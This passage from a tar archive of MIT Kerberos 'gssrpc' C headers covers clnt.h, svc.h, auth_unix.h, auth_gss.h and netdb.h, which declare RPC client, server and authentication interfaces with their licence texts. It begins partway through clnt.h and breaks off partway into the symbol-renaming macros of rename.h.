((*(rh)->cl_ops->cl_freeres)(rh,xres,resp)) /* * bool_t * CLNT_CONTROL(cl, request, info) * CLIENT *cl; * u_int request; * char *info; */ #define CLNT_CONTROL(cl,rq,in) ((*(cl)->cl_ops->cl_control)(cl,rq,in)) #define clnt_control(cl,rq,in) ((*(cl)->cl_ops->cl_control)(cl,rq,in)) /* * control operations that apply to both udp and tcp transports */ #define CLSET_TIMEOUT 1 /* set timeout (timeval) */ #define CLGET_TIMEOUT 2 /* get timeout (timeval) */ #define CLGET_SERVER_ADDR 3 /* get server's address (sockaddr) */ /* * udp only control operations */ #define CLSET_RETRY_TIMEOUT 4 /* set retry timeout (timeval) */ #define CLGET_RETRY_TIMEOUT 5 /* get retry timeout (timeval) */ /* * new control operations */ #define CLGET_LOCAL_ADDR 6 /* get local address (sockaddr, getsockname)*/ /* * void * CLNT_DESTROY(rh); * CLIENT *rh; */ #define CLNT_DESTROY(rh) ((*(rh)->cl_ops->cl_destroy)(rh)) #define clnt_destroy(rh) ((*(rh)->cl_ops->cl_destroy)(rh)) /* * RPCTEST is a test program which is accessable on every rpc * transport/port. It is used for testing, performance evaluation, * and network administration. */ #define RPCTEST_PROGRAM ((rpcprog_t)1) #define RPCTEST_VERSION ((rpcvers_t)1) #define RPCTEST_NULL_PROC ((rpcproc_t)2) #define RPCTEST_NULL_BATCH_PROC ((rpcproc_t)3) /* * By convention, procedure 0 takes null arguments and returns them */ #define NULLPROC ((rpcproc_t)0) /* * Below are the client handle creation routines for the various * implementations of client side rpc. They can return NULL if a * creation failure occurs. */ /* * Memory based rpc (for speed check and testing) * CLIENT * * clntraw_create(prog, vers) * rpcprog_t prog; * rpcvers_t vers; */ extern CLIENT *clntraw_create(rpcprog_t, rpcvers_t); /* * Generic client creation routine. Supported protocols are "udp" and "tcp" */ extern CLIENT *clnt_create(char *, rpcprog_t, rpcvers_t, char *); /* * TCP based rpc * CLIENT * * clnttcp_create(raddr, prog, vers, sockp, sendsz, recvsz) * struct sockaddr_in *raddr; * rpcprog_t prog; * rpcvers_t version; * int *sockp; * u_int sendsz; * u_int recvsz; */ extern CLIENT *clnttcp_create(struct sockaddr_in *, rpcprog_t, rpcvers_t, int *, u_int, u_int); /* * UDP based rpc. * CLIENT * * clntudp_create(raddr, program, version, wait, sockp) * struct sockaddr_in *raddr; * rpcprog_t program; * rpcvers_t version; * struct timeval wait; * int *sockp; * * Same as above, but you specify max packet sizes. * CLIENT * * clntudp_bufcreate(raddr, program, version, wait, sockp, sendsz, recvsz) * struct sockaddr_in *raddr; * rpcprog_t program; * rpcvers_t version; * struct timeval wait; * int *sockp; * u_int sendsz; * u_int recvsz; */ extern CLIENT *clntudp_create(struct sockaddr_in *, rpcprog_t, rpcvers_t, struct timeval, int *); extern CLIENT *clntudp_bufcreate(struct sockaddr_in *, rpcprog_t, rpcvers_t, struct timeval, int *, u_int, u_int); /* * Print why creation failed */ void clnt_pcreateerror(char *); /* stderr */ char *clnt_spcreateerror(char *); /* string */ /* * Like clnt_perror(), but is more verbose in its output */ void clnt_perrno(enum clnt_stat); /* stderr */ /* * Print an English error message, given the client error code */ void clnt_perror(CLIENT *, char *); /* stderr */ char *clnt_sperror(CLIENT *, char *); /* string */ /* * If a creation fails, the following allows the user to figure out why. */ struct rpc_createerr { enum clnt_stat cf_stat; struct rpc_err cf_error; /* useful when cf_stat == RPC_PMAPFAILURE */ }; extern struct rpc_createerr rpc_createerr; /* * Copy error message to buffer. */ char *clnt_sperrno(enum clnt_stat num); /* string */ #define UDPMSGSIZE 8800 /* rpc imposed limit on udp msg size */ #define RPCSMALLMSGSIZE 400 /* a more reasonable packet size */ GSSRPC__END_DECLS #endif /* !defined(GSSRPC_CLNT_H) */ gssrpc/svc.h 0000644 00000026513 15246445046 0007032 0 ustar 00 /* @(#)svc.h 2.2 88/07/29 4.0 RPCSRC; from 1.20 88/02/08 SMI */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * svc.h, Server-side remote procedure call interface. */ #ifndef GSSRPC_SVC_H #define GSSRPC_SVC_H #include <gssrpc/svc_auth.h> GSSRPC__BEGIN_DECLS /* * This interface must manage two items concerning remote procedure calling: * * 1) An arbitrary number of transport connections upon which rpc requests * are received. The two most notable transports are TCP and UDP; they are * created and registered by routines in svc_tcp.c and svc_udp.c, respectively; * they in turn call xprt_register and xprt_unregister. * * 2) An arbitrary number of locally registered services. Services are * described by the following four data: program number, version number, * "service dispatch" function, a transport handle, and a boolean that * indicates whether or not the exported program should be registered with a * local binder service; if true the program's number and version and the * port number from the transport handle are registered with the binder. * These data are registered with the rpc svc system via svc_register. * * A service's dispatch function is called whenever an rpc request comes in * on a transport. The request's program and version numbers must match * those of the registered service. The dispatch function is passed two * parameters, struct svc_req * and SVCXPRT *, defined below. */ enum xprt_stat { XPRT_DIED, XPRT_MOREREQS, XPRT_IDLE }; /* * Server side transport handle */ typedef struct SVCXPRT { #ifdef _WIN32 SOCKET xp_sock; #else int xp_sock; #endif u_short xp_port; /* associated port number */ struct xp_ops { /* receive incomming requests */ bool_t (*xp_recv)(struct SVCXPRT *, struct rpc_msg *); /* get transport status */ enum xprt_stat (*xp_stat)(struct SVCXPRT *); /* get arguments */ bool_t (*xp_getargs)(struct SVCXPRT *, xdrproc_t, void *); /* send reply */ bool_t (*xp_reply)(struct SVCXPRT *, struct rpc_msg *); /* free mem allocated for args */ bool_t (*xp_freeargs)(struct SVCXPRT *, xdrproc_t, void *); /* destroy this struct */ void (*xp_destroy)(struct SVCXPRT *); } *xp_ops; int xp_addrlen; /* length of remote address */ struct sockaddr_in xp_raddr; /* remote address */ struct opaque_auth xp_verf; /* raw response verifier */ SVCAUTH *xp_auth; /* auth flavor of current req */ void *xp_p1; /* private */ void *xp_p2; /* private */ int xp_laddrlen; /* lenght of local address */ struct sockaddr_in xp_laddr; /* local address */ } SVCXPRT; /* * Approved way of getting address of caller */ #define svc_getcaller(x) (&(x)->xp_raddr) /* * Operations defined on an SVCXPRT handle * * SVCXPRT *xprt; * struct rpc_msg *msg; * xdrproc_t xargs; * caddr_t argsp; */ #define SVC_RECV(xprt, msg) \ (*(xprt)->xp_ops->xp_recv)((xprt), (msg)) #define svc_recv(xprt, msg) \ (*(xprt)->xp_ops->xp_recv)((xprt), (msg)) #define SVC_STAT(xprt) \ (*(xprt)->xp_ops->xp_stat)(xprt) #define svc_stat(xprt) \ (*(xprt)->xp_ops->xp_stat)(xprt) #define SVC_GETARGS(xprt, xargs, argsp) \ (*(xprt)->xp_ops->xp_getargs)((xprt), (xargs), (argsp)) #define svc_getargs(xprt, xargs, argsp) \ (*(xprt)->xp_ops->xp_getargs)((xprt), (xargs), (argsp)) #define SVC_GETARGS_REQ(xprt, req, xargs, argsp) \ (*(xprt)->xp_ops->xp_getargs_req)((xprt), (req), (xargs), (argsp)) #define svc_getargs_req(xprt, req, xargs, argsp) \ (*(xprt)->xp_ops->xp_getargs_req)((xprt), (req), (xargs), (argsp)) #define SVC_REPLY(xprt, msg) \ (*(xprt)->xp_ops->xp_reply) ((xprt), (msg)) #define svc_reply(xprt, msg) \ (*(xprt)->xp_ops->xp_reply) ((xprt), (msg)) #define SVC_REPLY_REQ(xprt, req, msg) \ (*(xprt)->xp_ops->xp_reply_req) ((xprt), (req), (msg)) #define svc_reply_req(xprt, msg) \ (*(xprt)->xp_ops->xp_reply_req) ((xprt), (req), (msg)) #define SVC_FREEARGS(xprt, xargs, argsp) \ (*(xprt)->xp_ops->xp_freeargs)((xprt), (xargs), (argsp)) #define svc_freeargs(xprt, xargs, argsp) \ (*(xprt)->xp_ops->xp_freeargs)((xprt), (xargs), (argsp)) #define SVC_DESTROY(xprt) \ (*(xprt)->xp_ops->xp_destroy)(xprt) #define svc_destroy(xprt) \ (*(xprt)->xp_ops->xp_destroy)(xprt) /* * Service request */ struct svc_req { rpcprog_t rq_prog; /* service program number */ rpcvers_t rq_vers; /* service protocol version */ rpcproc_t rq_proc; /* the desired procedure */ struct opaque_auth rq_cred; /* raw creds from the wire */ void * rq_clntcred; /* read only cooked client cred */ void * rq_svccred; /* read only svc cred/context */ void * rq_clntname; /* read only client name */ SVCXPRT *rq_xprt; /* associated transport */ /* The request's auth flavor *should* be here, but the svc_req */ /* isn't passed around everywhere it is necessary. The */ /* transport *is* passed around, so the auth flavor it stored */ /* there. This means that the transport must be single */ /* threaded, but other parts of SunRPC already require that. */ /*SVCAUTH *rq_auth; associated auth flavor */ }; /* * Service registration * * svc_register(xprt, prog, vers, dispatch, protocol) * SVCXPRT *xprt; * rpcprog_t prog; * rpcvers_t vers; * void (*dispatch)(); * int protocol; like IPPROTO_TCP or _UDP; zero means do not register * * registerrpc(prog, vers, proc, routine, inproc, outproc) * returns 0 upon success, -1 if error. */ extern bool_t svc_register(SVCXPRT *, rpcprog_t, rpcvers_t, void (*)(struct svc_req *, SVCXPRT *), int); extern int registerrpc(rpcprog_t, rpcvers_t, rpcproc_t, char *(*)(void *), xdrproc_t, xdrproc_t); /* * Service un-registration * * svc_unregister(prog, vers) * rpcprog_t prog; * rpcvers_t vers; */ extern void svc_unregister(rpcprog_t, rpcvers_t); /* * Transport registration. * * xprt_register(xprt) * SVCXPRT *xprt; */ extern void xprt_register(SVCXPRT *); /* * Transport un-register * * xprt_unregister(xprt) * SVCXPRT *xprt; */ extern void xprt_unregister(SVCXPRT *); /* * When the service routine is called, it must first check to see if * it knows about the procedure; if not, it should call svcerr_noproc * and return. If so, it should deserialize its arguments via * SVC_GETARGS or the new SVC_GETARGS_REQ (both defined above). If * the deserialization does not work, svcerr_decode should be called * followed by a return. Successful decoding of the arguments should * be followed the execution of the procedure's code and a call to * svc_sendreply or the new svc_sendreply_req. * * Also, if the service refuses to execute the procedure due to too- * weak authentication parameters, svcerr_weakauth should be called. * Note: do not confuse access-control failure with weak authentication! * * NB: In pure implementations of rpc, the caller always waits for a reply * msg. This message is sent when svc_sendreply is called. * Therefore pure service implementations should always call * svc_sendreply even if the function logically returns void; use * xdr.h - xdr_void for the xdr routine. HOWEVER, tcp based rpc allows * for the abuse of pure rpc via batched calling or pipelining. In the * case of a batched call, svc_sendreply should NOT be called since * this would send a return message, which is what batching tries to avoid. * It is the service/protocol writer's responsibility to know which calls are * batched and which are not. Warning: responding to batch calls may * deadlock the caller and server processes! */ extern bool_t svc_sendreply(SVCXPRT *, xdrproc_t, caddr_t); extern void svcerr_decode(SVCXPRT *); extern void svcerr_weakauth(SVCXPRT *); extern void svcerr_noproc(SVCXPRT *); extern void svcerr_progvers(SVCXPRT *, rpcvers_t, rpcvers_t); extern void svcerr_auth(SVCXPRT *, enum auth_stat); extern void svcerr_noprog(SVCXPRT *); extern void svcerr_systemerr(SVCXPRT *); /* * Lowest level dispatching -OR- who owns this process anyway. * Somebody has to wait for incoming requests and then call the correct * service routine. The routine svc_run does infinite waiting; i.e., * svc_run never returns. * Since another (co-existant) package may wish to selectively wait for * incoming calls or other events outside of the rpc architecture, the * routine svc_getreq is provided. It must be passed readfds, the * "in-place" results of a select system call (see select, section 2). */ /* * Global keeper of rpc service descriptors in use * dynamic; must be inspected before each call to select */ extern int svc_maxfd; #ifdef FD_SETSIZE extern fd_set svc_fdset; /* RENAMED */ #define gssrpc_svc_fds gsssrpc_svc_fdset.fds_bits[0] /* compatibility */ #else extern int svc_fds; #endif /* def FD_SETSIZE */ extern int svc_maxfd; /* * a small program implemented by the svc_rpc implementation itself; * also see clnt.h for protocol numbers. */ extern void rpctest_service(); extern void svc_getreq(int); #ifdef FD_SETSIZE extern void svc_getreqset(fd_set *);/* takes fdset instead of int */ extern void svc_getreqset2(fd_set *, int); #else extern void svc_getreqset(int *); #endif extern void svc_run(void); /* never returns */ /* * Socket to use on svcxxx_create call to get default socket */ #define RPC_ANYSOCK -1 /* * These are the existing service side transport implementations */ /* * Memory based rpc for testing and timing. */ extern SVCXPRT *svcraw_create(void); /* * Udp based rpc. */ extern SVCXPRT *svcudp_create(int); extern SVCXPRT *svcudp_bufcreate(int, u_int, u_int); extern int svcudp_enablecache(SVCXPRT *, uint32_t); /* * Tcp based rpc. */ extern SVCXPRT *svctcp_create(int, u_int, u_int); /* * Like svtcp_create(), except the routine takes any *open* UNIX file * descriptor as its first input. */ extern SVCXPRT *svcfd_create(int, u_int, u_int); /* XXX add auth_gsapi_log_*? */ GSSRPC__END_DECLS #endif /* !defined(GSSRPC_SVC_H) */ gssrpc/auth_unix.h 0000644 00000005520 15246445046 0010236 0 ustar 00 /* @(#)auth_unix.h 2.2 88/07/29 4.0 RPCSRC; from 1.8 88/02/08 SMI */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* @(#)auth_unix.h 1.5 86/07/16 SMI */ /* * auth_unix.h, Protocol for UNIX style authentication parameters for RPC */ #ifndef GSSRPC_AUTH_UNIX_H #define GSSRPC_AUTH_UNIX_H GSSRPC__BEGIN_DECLS /* * The system is very weak. The client uses no encryption for it * credentials and only sends null verifiers. The server sends backs * null verifiers or optionally a verifier that suggests a new short hand * for the credentials. */ /* The machine name is part of a credential; it may not exceed 255 bytes */ #define MAX_MACHINE_NAME 255 /* gids compose part of a credential; there may not be more than 16 of them */ #define NGRPS 16 /* * Unix style credentials. */ struct authunix_parms { uint32_t aup_time; char *aup_machname; int aup_uid; int aup_gid; u_int aup_len; int *aup_gids; }; extern bool_t xdr_authunix_parms(XDR *, struct authunix_parms *); /* * If a response verifier has flavor AUTH_SHORT, * then the body of the response verifier encapsulates the following structure; * again it is serialized in the obvious fashion. */ struct short_hand_verf { struct opaque_auth new_cred; }; GSSRPC__END_DECLS #endif /* !defined(GSSRPC_AUTH_UNIX_H) */ gssrpc/auth_gss.h 0000644 00000011350 15246445046 0010045 0 ustar 00 /* include/gssrpc/auth_gss.h */ /* Copyright (c) 2000 The Regents of the University of Michigan. All rights reserved. Copyright (c) 2000 Dug Song <dugsong@UMICH.EDU>. All rights reserved, all wrongs reversed. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Id: auth_gss.h,v 1.13 2002/05/08 16:54:33 andros Exp */ #ifndef GSSRPC_AUTH_GSS_H #define GSSRPC_AUTH_GSS_H #include <gssrpc/rpc.h> #include <gssrpc/clnt.h> #ifdef HAVE_HEIMDAL #include <gssapi.h> #else #include <gssapi/gssapi.h> #endif GSSRPC__BEGIN_DECLS /* RPCSEC_GSS control procedures. */ typedef enum { RPCSEC_GSS_DATA = 0, RPCSEC_GSS_INIT = 1, RPCSEC_GSS_CONTINUE_INIT = 2, RPCSEC_GSS_DESTROY = 3 } rpc_gss_proc_t; /* RPCSEC_GSS services. */ typedef enum { RPCSEC_GSS_SVC_NONE = 1, RPCSEC_GSS_SVC_INTEGRITY = 2, RPCSEC_GSS_SVC_PRIVACY = 3 } rpc_gss_svc_t; #define RPCSEC_GSS_VERSION 1 /* RPCSEC_GSS security triple. */ struct rpc_gss_sec { gss_OID mech; /* mechanism */ gss_qop_t qop; /* quality of protection */ rpc_gss_svc_t svc; /* service */ gss_cred_id_t cred; /* cred handle */ uint32_t req_flags; /* req flags for init_sec_context */ }; /* Private data required for kernel implementation */ struct authgss_private_data { gss_ctx_id_t pd_ctx; /* Session context handle */ gss_buffer_desc pd_ctx_hndl; /* Credentials context handle */ uint32_t pd_seq_win; /* Sequence window */ }; /* Krb 5 default mechanism #define KRB5OID "1.2.840.113554.1.2.2" gss_OID_desc krb5oid = { 20, KRB5OID }; */ /* struct rpc_gss_sec krb5mech = { (gss_OID)&krb5oid, GSS_QOP_DEFAULT, RPCSEC_GSS_SVC_NONE }; */ /* Credentials. */ struct rpc_gss_cred { u_int gc_v; /* version */ rpc_gss_proc_t gc_proc; /* control procedure */ uint32_t gc_seq; /* sequence number */ rpc_gss_svc_t gc_svc; /* service */ gss_buffer_desc gc_ctx; /* context handle */ }; /* Context creation response. */ struct rpc_gss_init_res { gss_buffer_desc gr_ctx; /* context handle */ uint32_t gr_major; /* major status */ uint32_t gr_minor; /* minor status */ uint32_t gr_win; /* sequence window */ gss_buffer_desc gr_token; /* token */ }; /* Maximum sequence number value. */ #define MAXSEQ 0x80000000 /* Prototypes. */ bool_t xdr_rpc_gss_buf (XDR *xdrs, gss_buffer_t, u_int maxsize); bool_t xdr_rpc_gss_cred (XDR *xdrs, struct rpc_gss_cred *p); bool_t xdr_rpc_gss_init_args (XDR *xdrs, gss_buffer_desc *p); bool_t xdr_rpc_gss_init_res (XDR *xdrs, struct rpc_gss_init_res *p); bool_t xdr_rpc_gss_data (XDR *xdrs, xdrproc_t xdr_func, caddr_t xdr_ptr, gss_ctx_id_t ctx, gss_qop_t qop, rpc_gss_svc_t svc, uint32_t seq); bool_t xdr_rpc_gss_wrap_data (XDR *xdrs, xdrproc_t xdr_func, caddr_t xdr_ptr, gss_ctx_id_t ctx, gss_qop_t qop, rpc_gss_svc_t svc, uint32_t seq); bool_t xdr_rpc_gss_unwrap_data (XDR *xdrs, xdrproc_t xdr_func, caddr_t xdr_ptr, gss_ctx_id_t ctx, gss_qop_t qop, rpc_gss_svc_t svc, uint32_t seq); AUTH *authgss_create (CLIENT *, gss_name_t, struct rpc_gss_sec *); AUTH *authgss_create_default (CLIENT *, char *, struct rpc_gss_sec *); bool_t authgss_service (AUTH *auth, int svc); bool_t authgss_get_private_data (AUTH *auth, struct authgss_private_data *); #ifdef GSSRPC__IMPL void log_debug (const char *fmt, ...); void log_status (char *m, OM_uint32 major, OM_uint32 minor); void log_hexdump (const u_char *buf, int len, int offset); #endif GSSRPC__END_DECLS #endif /* !defined(GSSRPC_AUTH_GSS_H) */ gssrpc/netdb.h 0000644 00000004612 15246445046 0007327 0 ustar 00 /* include/gssrpc/netdb.h */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* @(#)netdb.h 2.1 88/07/29 3.9 RPCSRC */ /* @(#)rpc.h 1.8 87/07/24 SMI */ #ifndef RPC_NETDB_H #define RPC_NETDB_H #include <gssrpc/types.h> /* since the gssrpc library requires that any application using it be built with these header files, I am making the decision that any app which uses the rpcent routines must use this header file, or something compatible (which most <netdb.h> are) --marc */ /* Really belongs in <netdb.h> */ #ifdef STRUCT_RPCENT_IN_RPC_NETDB_H struct rpcent { char *r_name; /* name of server for this rpc program */ char **r_aliases; /* alias list */ int r_number; /* rpc program number */ }; #endif /*STRUCT_RPCENT_IN_RPC_NETDB_H*/ struct rpcent *getrpcbyname(), *getrpcbynumber(), *getrpcent(); #endif gssrpc/rename.h 0000644 00000024030 15246445046 0007476 0 ustar 00 /* include/gssrpc/rename.h */ /* * Copyright (C) 2004 by the Massachusetts Institute of Technology. * All rights reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* * * Namespace mangling for various purposes. * * Symbols in the object code need to be renamed to not conflict with * an OS-provided RPC implementation. Without renaming, the conflicts * can cause problems with things like RPC-enabled NSS * implementations. * * Symbols in headers should not conflict with implementation-reserved * namespace (prefixes "_[A-Z_]" for any purpose; prefix "_" * for file scope identifiers and tag names), or unnecessarily impinge * on user namespace. * * The renaming of the header directory is done to avoid problems when * the OS header files include <rpc/foo.h> and might get ours instead. * OS vendors should replace all the <gssrpc/foo.h> inclusions with * <rpc/foo.h> inclusions, as appropriate. Additionally, vendors * should probably put some symbols into the implementation namespace. * * For example, inclusion protection should change from "GSSRPC_*_H" * to "_RPC_*_H", struct tags should get "__" prefixes, etc. * * This implementation reserves the object code prefix "gssrpc_". * External names in the RPC API not beginning with "_" get renamed * with the prefix "gssrpc_" via #define, e.g., "foo" -> "gssrpc_foo". * External names in the RPC API beginning with "_" get textually * rewritten. */ #ifndef GSSRPC_RENAME_H #define GSSRPC_RENAME_H /* auth.h */ #define xdr_des_block gssrpc_xdr_des_block #define authany_wrap gssrpc_authany_wrap #define authany_unwrap gssrpc_authany_unwrap #define authunix_create gssrpc_authunix_create #define authunix_create_default gssrpc_authunix_create_default #define authnone_create gssrpc_authnone_create #define authdes_create gssrpc_authdes_create #define xdr_opaque_auth gssrpc_xdr_opaque_auth /* auth_gss.c */ #define auth_debug_gss gssrpc_auth_debug_gss #define misc_debug_gss gssrpc_misc_debug_gss /* auth_gss.h */ #define xdr_rpc_gss_buf gssrpc_xdr_rpc_gss_buf #define xdr_rpc_gss_cred gssrpc_xdr_rpc_gss_cred #define xdr_rpc_gss_init_args gssrpc_xdr_rpc_gss_init_args #define xdr_rpc_gss_init_res gssrpc_xdr_rpc_gss_init_res #define xdr_rpc_gss_data gssrpc_xdr_rpc_gss_data #define xdr_rpc_gss_wrap_data gssrpc_xdr_rpc_gss_wrap_data #define xdr_rpc_gss_unwrap_data gssrpc_xdr_rpc_gss_unwrap_data #define authgss_create gssrpc_authgss_create #define authgss_create_default gssrpc_authgss_create_default #define authgss_get_private_data gssrpc_authgss_get_private_data #define authgss_service gssrpc_authgss_service #ifdef GSSRPC__IMPL #define log_debug gssrpc_log_debug #define log_status gssrpc_log_status #define log_hexdump gssrpc_log_hexdump #endif /* auth_gssapi.c */ #define auth_debug_gssapi gssrpc_auth_debug_gssapi #define misc_debug_gssapi gssrpc_misc_debug_gssapi /* auth_gssapi.h */ #define xdr_gss_buf gssrpc_xdr_gss_buf #define xdr_authgssapi_creds gssrpc_xdr_authgssapi_creds #define xdr_authgssapi_init_arg gssrpc_xdr_authgssapi_init_arg #define xdr_authgssapi_init_res gssrpc_xdr_authgssapi_init_res #define auth_gssapi_wrap_data gssrpc_auth_gssapi_wrap_data #define auth_gssapi_unwrap_data gssrpc_auth_gssapi_unwrap_data #define auth_gssapi_create gssrpc_auth_gssapi_create #define auth_gssapi_create_default gssrpc_auth_gssapi_create_default #define auth_gssapi_display_status gssrpc_auth_gssapi_display_status #define auth_gssapi_seal_seq gssrpc_auth_gssapi_seal_seq #define auth_gssapi_unseal_seq gssrpc_auth_gssapi_unseal_seq #define svcauth_gssapi_set_names gssrpc_svcauth_gssapi_set_names #define svcauth_gssapi_unset_names gssrpc_svcauth_gssapi_unset_names #define svcauth_gssapi_set_log_badauth_func gssrpc_svcauth_gssapi_set_log_badauth_func #define svcauth_gssapi_set_log_badauth2_func gssrpc_svcauth_gssapi_set_log_badauth2_func #define svcauth_gssapi_set_log_badverf_func gssrpc_svcauth_gssapi_set_log_badverf_func #define svcauth_gssapi_set_log_miscerr_func gssrpc_svcauth_gssapi_set_log_miscerr_func #define svcauth_gss_set_log_badauth_func gssrpc_svcauth_gss_set_log_badauth_func #define svcauth_gss_set_log_badauth2_func gssrpc_svcauth_gss_set_log_badauth2_func #define svcauth_gss_set_log_badverf_func gssrpc_svcauth_gss_set_log_badverf_func #define svcauth_gss_set_log_miscerr_func gssrpc_svcauth_gss_set_log_miscerr_func /* auth_unix.h */ #define xdr_authunix_parms gssrpc_xdr_authunix_parms /* clnt.h */ #define clntraw_create gssrpc_clntraw_create #define clnt_create gssrpc_clnt_create #define clnttcp_create gssrpc_clnttcp_create #define clntudp_create gssrpc_clntudp_create #define clntudp_bufcreate gssrpc_clntudp_bufcreate #define clnt_pcreateerror gssrpc_clnt_pcreateerror #define clnt_spcreateerror gssrpc_clnt_spcreateerror #define clnt_perrno gssrpc_clnt_perrno #define clnt_perror gssrpc_clnt_perror #define clnt_sperror gssrpc_clnt_sperror /* XXX do we need to rename the struct? */ #define rpc_createerr gssrpc_rpc_createrr #define clnt_sperrno gssrpc_clnt_sperrno /* pmap_clnt.h */ #define pmap_set gssrpc_pmap_set #define pmap_unset gssrpc_pmap_unset #define pmap_getmaps gssrpc_pmap_getmaps #define pmap_rmtcall gssrpc_pmap_rmtcall #define clnt_broadcast gssrpc_clnt_broadcast #define 